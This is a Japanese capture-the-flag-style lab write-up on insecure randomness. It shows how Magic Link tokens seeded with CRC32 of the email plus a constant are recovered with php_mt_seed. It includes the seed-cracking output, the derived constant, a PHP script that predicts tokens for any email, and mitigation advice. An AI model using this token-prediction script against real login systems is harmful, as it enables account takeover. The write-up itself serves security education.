はじめに
本タスクでは、擬似乱数生成器(PRNG)の初期化に予測可能なシードを使用した場合に生じる脆弱性に焦点を当てる。
PRNG は本質的に 決定論的 なアルゴリズムであり、
同じシードを与えれば、同じ乱数列が必ず生成される。
そのため、シードが弱い、あるいは予測可能である場合、
攻撃者は乱数列を完全に再現できてしまい、
乱数に依存するあらゆるセキュリティ機構が破綻する。
予測可能なシードがもたらす影響
CAPTCHA への影響
CAPTCHA システムでは、ランダムな値を用いて
「人間かボットか」を判定する問題を生成する。
しかし、PRNG のシードが予測可能である場合、
- CAPTCHA の値を事前に予測
- 正解を自動生成
- CAPTCHA を回避
といった攻撃が可能になる。
宝くじ・ゲームシステムへの影響
PRNG は以下のような場面でも多用されている。
- 抽選・くじ引き
- ガチャ
- ゲーム内ドロップ率
- ランダムイベント
もし PRNG が タイムスタンプなどの予測可能な値で初期化されていれば、
攻撃者は結果を事前に計算し、常に勝つことができる。
これは「運」ではなく、完全なロジック破壊である。
実践シナリオ:Magic Link 認証の突破
本シナリオでは、Magic Link ログイン機能において
予測可能なシードを使用してトークンを生成している実装を解析し、
アカウント乗っ取りが成立するまでの流れを確認する。
使用するアカウント
- メールアドレス:
magic@mail.random.thm - メールパスワード:
Testing@123
Magic Link の取得
- Web アプリで「Login with Magic Link」をクリック
- メールアドレス
magic@mail.random.thmを入力 - Magic Link がメールで送信される
受信したリンクは以下の形式になっている。
http://random.thm:8090/case/magic_link_login.php?token=MTEzNTUwODU0MQ==
この token は Base64 エンコードされた乱数である。
サーバー側トークン生成ロジック
Magic Link のトークンは、以下の PHP コードで生成されている。
mt_srand(CONSTANT_VALUE + crc32($email));
$random_number = mt_rand();
$token = base64_encode($random_number);
処理の流れ
- ユーザーのメールアドレスから
crc32()を計算 - それに定数値(CONSTANT_VALUE)を加算
-
mt_srand()で PRNG を初期化 -
mt_rand()で乱数生成 - Base64 エンコードしてトークン化
何が問題なのか?
mt_rand() は暗号学的に安全ではない
mt_rand() は Mersenne Twister を使用する PRNG であり、
- 高速
- 統計的には優秀
- 完全に決定論的
という特徴を持つ。
一度シードが分かれば、
すべての乱数列が完全に再現可能
である。
トークンのデコード
まず、Magic Link に含まれる Base64 トークンをデコードする。
MTEzNTUwODU0MQ== → 1135508541
この値は mt_rand() の出力そのものである。
シードの逆算(Exploitation)
ここで使用するのが php_mt_seed というツールである。
このツールは、
mt_rand() の出力から、使用されたシード候補を逆算できる。
実行例
./php_mt_seed 1135508541
出力結果:
root@ip-10-64-82-141:~/Rooms/InsecureRandomness# ./php_mt_seed 1135508541
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 1509.9 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x30000000 - 0x31ffffff, speed 12.3 Mseeds/s
seed = 0x318ff649 = 831518281 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0x38000000 - 0x39ffffff, speed 12.3 Mseeds/s
seed = 0x39dc3504 = 970732804 (PHP 7.1.0+)
Found 2, trying 0x6c000000 - 0x6dffffff, speed 12.2 Mseeds/s
seed = 0x6d8817a7 = 1837635495 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x6d8817a7 = 1837635495 (PHP 7.1.0+)
Found 4, trying 0xbe000000 - 0xbfffffff, speed 12.3 Mseeds/s
seed = 0xbe3249b3 = 3190966707 (PHP 5.2.1 to 7.0.x; HHVM)
Found 5, trying 0xfe000000 - 0xffffffff, speed 12.3 Mseeds/s
Found 5
複数候補が出るが、実際の環境で検証することで
正しいシードは 970732804 であると判明する。
定数値(CONSTANT_VALUE)の特定
シードは次の式で作られていた。
seed = crc32(email) + constant
メールアドレス magic@mail.random.thm の CRC32 は:
970731467
したがって、
970732804 - 970731467 = 1337
定数値は 1337 であることが分かる。
攻撃が成立する理由
攻撃者が必要とする情報は たった1つ。
対象ユーザーのメールアドレス
それだけで、
- CRC32 を計算
- 定数値 1337 を加算
- mt_srand()
- mt_rand()
- Base64 エンコード
という手順で、正しい Magic Link トークンを完全再現できる。
トークン生成スクリプト(攻撃用)
以下の PHP スクリプトを使えば、
任意ユーザーの Magic Link トークンを生成できる。
magic_link_login.php
<?php
if (isset($_GET['email']) && isset($_GET['constant']) && is_numeric($_GET['constant'])) {
$email = $_GET['email'];
$constant = (int)$_GET['constant'];
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
$seed = crc32($email) + $constant;
mt_srand($seed);
echo "<h3>Predicted Magic Link Tokens for $email</h3>";
for ($i = 0; $i < 10; $i++) {
$random_number = mt_rand();
$token = base64_encode($random_number);
echo "Predicted magic link token " . ($i + 1) . ": " . $token . "<br>";
}
} else {
echo "<div style='color:red;'>Invalid email format. Please provide a valid email.</div>";
}
} else {
echo "<div style='color:red;'>Please provide valid GET parameters: 'email' (valid email address) and 'constant' (numeric value).</div>";
}
?>
サーバを運行して
php -S 0.0.0.0:8181
magic_link_login.phpにアクセスして
生成したトークンを以下の URL に渡すだけでよい。
http://random.thm:8090/case/magic_link_login.php?token={predicted_token}
これにより、パスワード不要でログイン可能となる。
なぜこの設計は危険なのか
| 問題点 | 内容 |
|---|---|
| PRNG | mt_rand()(非 CSPRNG) |
| シード | CRC32 + 定数 |
| 予測性 | メールアドレスのみで再現可能 |
| 結果 | 認証完全突破 |
正しい対策
悪い例
mt_srand(crc32($email) + 1337);
$token = base64_encode(mt_rand());
良い例
$token = bin2hex(random_bytes(32));
- CSPRNG を使用
- シード管理不要
- 高エントロピー
- 再現不可能
まとめ
- PRNG は シードが命
- 予測可能なシードは 即アウト
- mt_rand() は 認証用途に使ってはいけない
- Magic Link は 鍵と同等の扱いが必要
「ランダムっぽい」は「安全」ではない
この違いを理解できていない実装は、
遅かれ早かれ破られる。



